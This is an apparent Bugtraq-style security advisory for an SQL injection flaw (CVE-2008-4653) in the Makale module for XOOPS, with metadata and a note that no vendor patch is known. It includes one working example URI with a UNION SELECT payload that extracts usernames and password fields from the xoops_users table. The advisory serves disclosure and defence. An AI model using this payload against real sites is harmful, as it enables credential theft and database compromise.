Makale XOOPS Module 'makale.php' SQL Injection Vulnerability

Bugtraq ID:	31834
Class:	Input Validation Error
CVE:	CVE-2008-4653
Remote:	Yes
Local:	No
Published:	Oct 20 2008 12:00AM
Updated:	Apr 16 2015 05:52PM
Credit:	EcHoLL
Vulnerable:	Andrew Mills Makale update25
Not Vulnerable:

Makale XOOPS Module 'makale.php' SQL Injection Vulnerability

The Makale module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects 'makale' update025; other versions may also be affected.

Makale XOOPS Module 'makale.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/modules/makale/makale.php?id=15+UNION+SELECT+0,1,2,3,uname,5,pass,7,8,9,10,11,12,13,14,15,16,17,18,19+from+xoops_users--

Makale XOOPS Module 'makale.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Makale XOOPS Module 'makale.php' SQL Injection Vulnerability

References:

• Makale Module Homepage (Andrew Mills)
  
• XOOPS Homepage (XOOPS)